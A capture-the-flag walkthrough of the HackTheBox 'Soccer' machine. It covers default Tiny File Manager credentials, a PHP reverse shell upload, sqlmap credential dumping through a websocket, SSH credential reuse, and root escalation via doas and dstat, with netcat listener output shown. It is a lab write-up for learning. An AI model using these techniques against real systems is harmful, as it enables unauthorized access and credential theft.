Soccer is an easy box released on December 17th, 2022 by sau123.
User Own
Nmap scan:
There is a website being hosted at http://soccer.htb. Subdirectory enumeration reveals a subdirectory called tiny.
http://soccer.htb/tiny is hosting Tiny File Manager. The default admin credentials for Tiny File Manager are the username admin and the password admin@123, which work.
Tiny File Manager
There is a folder called uploads inside tiny that can be accessed at http://soccer.htb/tiny/uploads. A PHP reverse shell can be uploaded and accessed. This gives access to www-data.
Looking inside /etc/hosts:
There is a subdomain at http://soc-player.soccer.htb. This website is the same as the original, but has login functionality. After signing up, there is a function for checking if a ticket exists.
Ticket Box
The code for this ticket checking box can be found inside the website.
There is a web socket at ws://soc-player.soccer.htb:9091. We can use sqlmap to find credentials through the web socket. This can be done using Rayhan0x01's middleware server.
There are 5 databases found, but the one that stands out is soccer_db.
There is 1 table found called accounts.
Checking username:
Checking password:
Checking /home:
player can be logged into SSH with the same credentials.
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.11.194] 43378
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
00:43:16 up 2:12, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
doas -u root /usr/bin/dstat --z
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.11.194] 42528
# cat /root/root.txt
cat /root/root.txt
[ROOT FLAG HERE]